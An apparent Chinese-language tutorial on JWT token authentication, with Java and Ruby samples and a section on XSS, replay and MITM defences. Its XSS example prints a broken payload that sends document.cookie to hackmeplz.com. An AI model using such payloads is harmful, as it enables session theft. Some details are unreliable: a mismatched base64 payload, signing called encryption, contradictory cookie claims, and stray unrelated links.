jsON Web Token（JWT）是一個非常輕巧的規範。這個規範允許我們使用JWT在使用者和伺服器之間傳遞安全可靠的資訊。其JWT的組成：

一個JWT實際上就是一個字串，它由三部分組成，頭部、載荷與簽名。

載荷（Payload）

{ "iss": "Online JWT Builder", 
  "iat": 1416797419, 
  "exp": 1448333419, 
  "aud": "www.example.com", 
  "sub": "[email protected]", 
  "GivenName": "Johnny", 
  "Surname": "Rocket", 
  "Email": "[email protected]", 
  "Role": [ "Manager", "Project Administrator" ] 
}

• iss: 該JWT的簽發者，是否使用是可選的；
• sub: 該JWT所面向的使用者，是否使用是可選的；
• aud: 接收該JWT的一方，是否使用是可選的；
• exp(expires): 什麼時候過期，這裡是一個Unix時間戳，是否使用是可選的；
• iat(issued at): 在什麼時候簽發的(UNIX時間)，是否使用是可選的；
  其他還有：
• nbf (Not Before)：如果當前時間在nbf裡的時間之前，則Token不被接受；一般都會留一些餘地，比如幾分鐘；，是否使用是可選的；

將上面的jsON物件進行[base64編碼]可以得到下面的字串。這個字串我們將它稱作JWT的Payload（載荷）。

eyJpc3MiOiJKb2huIFd1IEpXVCIsImlhdCI6MTQ0MTU5MzUwMiwiZXhwIjoxNDQxNTk0NzIyLCJhdWQiOiJ3d3cuZXhhbXBsZS5jb20iLCJzdWIiOiJqcm9ja2V0QGV4YW1wbGUuY29tIiwiZnJvbV91c2VyIjoiQiIsInRhcmdldF91c2VyIjoiQSJ9

小知識：Base64是一種基於64個可列印字元來表示二進位制資料的表示方法。由於2的6次方等於64，所以每6個位元為一個單元，對應某個可列印字元。三個位元組有24個位元，對應於4個Base64單元，即3個位元組需要用4個可列印字元來表示。JDK 中提供了非常方便的BASE64Encoder

頭部（Header）
JWT還需要一個頭部，頭部用於描述關於該JWT的最基本的資訊，例如其型別以及簽名所用的演算法等。這也可以被表示成一個jsON物件。

{
"typ": "JWT",
"alg": "HS256"
}

在頭部指明瞭簽名演算法是HS256演算法。
當然頭部也要進行BASE64編碼，編碼後的字串如下：

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9

簽名（Signature）
將上面的兩個編碼後的字串都用句號.連線在一起（頭部在前），就形成了:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0

最後，我們將上面拼接完的字串用HS256演算法進行加密。在加密的時候，我們還需要提供一個金鑰（secret）。如果我們用mystar作為金鑰的話，那麼就可以得到我們加密後的內容:

rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM

最後將這一部分簽名也拼接在被簽名的字串後面，我們就得到了完整的JWT:

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM

在我們的請求URL中會帶上這串JWT字串：

https://your.awesome-app.com/make-friend/?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcm9tX3VzZXIiOiJCIiwidGFyZ2V0X3VzZXIiOiJBIn0.rSWamyAYwuHCo7IFAgd1oRpSP7nzL7BF5t7ItqpKViM

認證過程

下面我們從一個例項來看如何運用JWT機制實現認證：

登入

• 第一次認證：第一次登入，使用者從瀏覽器輸入使用者名稱/密碼，提交後到伺服器的登入處理的Action層（Login Action）；
• Login Action呼叫認證服務進行使用者名稱密碼認證，如果認證通過，Login Action層呼叫使用者資訊服務獲取使用者資訊（包括完整的使用者資訊及對應許可權資訊）；
• 返回使用者資訊後，Login Action從配置檔案中獲取Token簽名生成的祕鑰資訊，進行Token的生成；
• 生成Token的過程中可以呼叫第三方的JWT Lib生成簽名後的JWT資料；
• 完成JWT資料簽名後，將其設定到COOKIE物件中，並重定向到首頁，完成登入過程；

請求認證

基於Token的認證機制會在每一次請求中都帶上完成簽名的Token資訊，這個Token資訊可能在COOKIE
中，也可能在HTTP的Authorization頭中；

• 客戶端（APP客戶端或瀏覽器）通過GET或POST請求訪問資源（頁面或呼叫API）；
• 認證服務作為一個Middleware HOOK 對請求進行攔截，首先在cookie中查詢Token資訊，如果沒有找到，則在HTTP Authorization Head中查詢；
• 如果找到Token資訊，則根據配置檔案中的簽名加密祕鑰，呼叫JWT Lib對Token資訊進行解密和解碼；
• 完成解碼並驗證簽名通過後，對Token中的exp、nbf、aud等資訊進行驗證；
• 全部通過後，根據獲取的使用者的角色許可權資訊，進行對請求的資源的許可權邏輯判斷；
• 如果許可權邏輯判斷通過則通過Response物件返回；否則則返回HTTP 401；

對Token認證的五點認識

對Token認證機制有5點直接注意的地方：

• 一個Token就是一些資訊的集合；
• 在Token中包含足夠多的資訊，以便在後續請求中減少查詢資料庫的機率；
• 服務端需要對cookie和HTTP Authrorization Header進行Token資訊的檢查；
• 基於上一點，你可以用一套token認證程式碼來面對瀏覽器類客戶端和非瀏覽器類客戶端；
• 因為token是被簽名的，所以我們可以認為一個可以解碼認證通過的token是由我們系統發放的，其中帶的資訊是合法有效的；

如何使用JWT

在身份鑑定的實現中，傳統方法是在服務端儲存一個session，給客戶端返回一個cookie，而使用JWT之後，當用戶使用它的認證資訊登陸系統之後，會返回給使用者一個JWT，使用者只需要本地儲存該token（通常使用local storage，也可以使用cookie）即可。

當用戶希望訪問一個受保護的路由或者資源的時候，通常應該在Authorization頭部使用Bearer模式新增JWT，其內容看起來是下面這樣：

Authorization: Bearer <token>

因為使用者的狀態在服務端的記憶體中是不儲存的，所以這是一種無狀態的認證機制。服務端的保護路由將會檢查請求頭Authorization中的JWT資訊，如果合法，則允許使用者的行為。由於JWT是自包含的，因此減少了需要查詢資料庫的需要。

JWT的這些特性使得我們可以完全依賴其無狀態的特性提供資料API服務，甚至是建立一個下載流服務。因為JWT並不使用Cookie的，所以你可以使用任何域名提供你的API服務而不需要擔心跨域資源共享問題（CORS）。

JWT的JAVA實現

Java中對JWT的支援可以考慮使用JJWT開源庫；JJWT實現了JWT, JWS, JWE 和 JWA RFC規範；下面將簡單舉例說明其使用：
生成Token碼

import javax.crypto.spec.SecretKeySpec;
import javax.xml.bind.DatatypeConverter;
import java.security.Key;
import io.jsonwebtoken.*;
import java.util.Date;    
 
//Sample method to construct a JWT
 
private String createJWT(String id, String issuer, String subject, long ttlMillis) {
 
//The JWT signature algorithm we will be using to sign the token
SignatureAlgorithm signatureAlgorithm = SignatureAlgorithm.HS256;
 
long nowMillis = System.currentTimeMillis();
Date now = new Date(nowMillis);
 
//We will sign our JWT with our ApiKey secret
byte[] apiKeySecretBytes = DatatypeConverter.parseBase64Binary(apiKey.getSecret());
Key signingKey = new SecretKeySpec(apiKeySecretBytes, signatureAlgorithm.getJcaName());
 
  //Let's set the JWT Claims
JwtBuilder builder = Jwts.builder().setId(id)
                                .setIssuedAt(now)
                                .setSubject(subject)
                                .setIssuer(issuer)
                                .signWith(signatureAlgorithm, signingKey);
 
//if it has been specified, let's add the expiration
if (ttlMillis >= 0) {
    long expMillis = nowMillis + ttlMillis;
    Date exp = new Date(expMillis);
    builder.setExpiration(exp);
}
 
//Builds the JWT and serializes it to a compact, URL-safe string
return builder.compact();
}

解碼和驗證Token碼

import javax.xml.bind.DatatypeConverter;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.Claims;
 
//Sample method to validate and read the JWT
private void parseJWT(String jwt) {
//This line will throw an exception if it is not a signed JWS (as expected)
Claims claims = Jwts.parser()        
   .setSigningKey(DatatypeConverter.parseBase64Binary(apiKey.getSecret()))
   .parseClaimsJws(jwt).getBody();
System.out.println("ID: " + claims.getId());
System.out.println("Subject: " + claims.getSubject());
System.out.println("Issuer: " + claims.getIssuer());
System.out.println("Expiration: " + claims.getExpiration());
}

基於JWT的Token認證的安全問題

確保驗證過程的安全性

如何保證使用者名稱/密碼驗證過程的安全性；因為在驗證過程中，需要使用者輸入使用者名稱和密碼，在這一過程中，使用者名稱、密碼等敏感資訊需要在網路中傳輸。因此，在這個過程中建議採用HTTPS，通過SSL加密傳輸，以確保通道的安全性。

如何防範XSS Attacks

瀏覽器可以做很多事情，這也給瀏覽器端的安全帶來很多隱患，最常見的如：XSS攻擊：跨站指令碼攻擊(Cross Site Scripting)；如果有個頁面的輸入框中允許輸入任何資訊，且沒有做防範措施，如果我們輸入下面這段程式碼：

<img src="x" /> a.src='https://hackmeplz.com/yourCookies.png/?cookies=’
+document.cookie;return a}())"

這段程式碼會盜取你域中的所有cookie資訊，併發送到 hackmeplz.com；那麼我們如何來防範這種攻擊呢？

• XSS攻擊程式碼過濾
  移除任何會導致瀏覽器做非預期執行的程式碼，這個可以採用一些庫來實現（如：js下的js-xss，JAVA下的XSShtmlFilter，php下的TWIG）；如果你是將使用者提交的字串儲存到資料庫的話（也針對SQL注入攻擊），你需要在前端和服務端分別做過濾；
• 採用HTTP-Only Cookies
  通過設定Cookie的引數： HttpOnly; Secure 來防止通過JavaScript來訪問Cookie；
  如何在Java中設定cookie是HttpOnly呢？
  Servlet 2.5 API 不支援 cookie設定HttpOnly
  http://docs.oracle.com/cd/E17802_01/products/products/servlet/2.5/docs/servlet-2_5-mr2/
  建議升級Tomcat7.0，它已經實現了Servlet3.0
  http://tomcat.apache.org/tomcat-7.0-doc/servletapi/javax/servlet/http/Cookie.html
  或者通過這樣來設定：

//設定cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");

//設定多個cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; HttpOnly");
response.addHeader("Set-Cookie", "timeout=30; Path=/test; HttpOnly");

//設定https的cookie
response.addHeader("Set-Cookie", "uid=112; Path=/; Secure; HttpOnly");

在實際使用中，我們可以使FireCookie檢視我們設定的Cookie 是否是HttpOnly；

字由https://www.wode007.com/sites/73248.html 中國字型設計網https://www.wode007.com/sites/73245.html

如何防範Replay Attacks

所謂重放攻擊就是攻擊者傳送一個目的主機已接收過的包，來達到欺騙系統的目的，主要用於身份認證過程。比如在瀏覽器端通過使用者名稱/密碼驗證獲得簽名的Token被木馬竊取。即使使用者登出了系統，黑客還是可以利用竊取的Token模擬正常請求，而伺服器端對此完全不知道，以為JWT機制是無狀態的。
針對這種情況，有幾種常用做法可以用作參考：
1、時間戳 +共享祕鑰
這種方案，客戶端和服務端都需要知道：

• User ID
• 共享祕鑰

客戶端

auth_header = JWT.encode({
  user_id: 123,
  iat: Time.now.to_i,      # 指定token釋出時間
  exp: Time.now.to_i + 2   # 指定token過期時間為2秒後，2秒時間足夠一次HTTP請求，同時在一定程度確保上一次token過期，減少replay attack的概率；
}, "<my shared secret>")
RestClient.get("http://api.example.com/", authorization: auth_header)

服務端

class ApiController < ActionController::Base
  attr_reader :current_user
  before_action :set_current_user_from_jwt_token

  def set_current_user_from_jwt_token
    # Step 1:解碼JWT，並獲取User ID，這個時候不對Token簽名進行檢查
    # the signature. Note JWT tokens are *not* encrypted, but signed.
    payload = JWT.decode(request.authorization, nil, false)

    # Step 2: 檢查該使用者是否存在於資料庫
    @current_user = User.find(payload['user_id'])
    
    # Step 3: 檢查Token簽名是否正確.
    JWT.decode(request.authorization, current_user.api_secret)
    
    # Step 4: 檢查 "iat" 和"exp" 以確保這個Token是在2秒內建立的.
    now = Time.now.to_i
    if payload['iat'] > now || payload['exp'] < now
      # 如果過期則返回401
    end
  rescue JWT::DecodeError
    # 返回 401
  end
end

2、時間戳 +共享祕鑰+黑名單 （類似Zendesk的做法）
客戶端

auth_header = JWT.encode({
  user_id: 123,
  jti: rand(2 << 64).to_s,  # 通過jti確保一個token只使用一次，防止replace attack
  iat: Time.now.to_i,       # 指定token釋出時間.
  exp: Time.now.to_i + 2    # 指定token過期時間為2秒後
}, "<my shared secret>")
RestClient.get("http://api.example.com/", authorization: auth_header)

服務端

def set_current_user_from_jwt_token
  # 前面的步驟參考上面
  payload = JWT.decode(request.authorization, nil, false)
  @current_user = User.find(payload['user_id'])
  JWT.decode(request.authorization, current_user.api_secret)
  now = Time.now.to_i
  if payload['iat'] > now || payload['exp'] < now
    # 返回401
  end
  
  # 下面將檢查確保這個JWT之前沒有被使用過
  # 使用Redis的原子操作
  
  # The redis 的鍵: <user id>:<one-time use token>
  key = "#{payload['user_id']}:#{payload['jti']}"
  
  # 看鍵值是否在redis中已經存在. 如果不存在則返回nil. 如果存在則返回“1”. .
  if redis.getset(key, "1")
    # 返回401
    # 
  end
  
  # 進行鍵值過期檢查
  redis.expireat(key, payload['exp'] + 2)
end

如何防範MITM （Man-In-The-Middle）Attacks

所謂MITM攻擊，就是在客戶端和伺服器端的互動過程被監聽，比如像可以上網的咖啡館的WIFI被監聽或者被黑的代理伺服器等；
針對這類攻擊的辦法使用HTTPS，包括針對分散式應用，在服務間傳輸像cookie這類敏感資訊時也採用HTTPS；所以雲端計算在本質上是不安全的。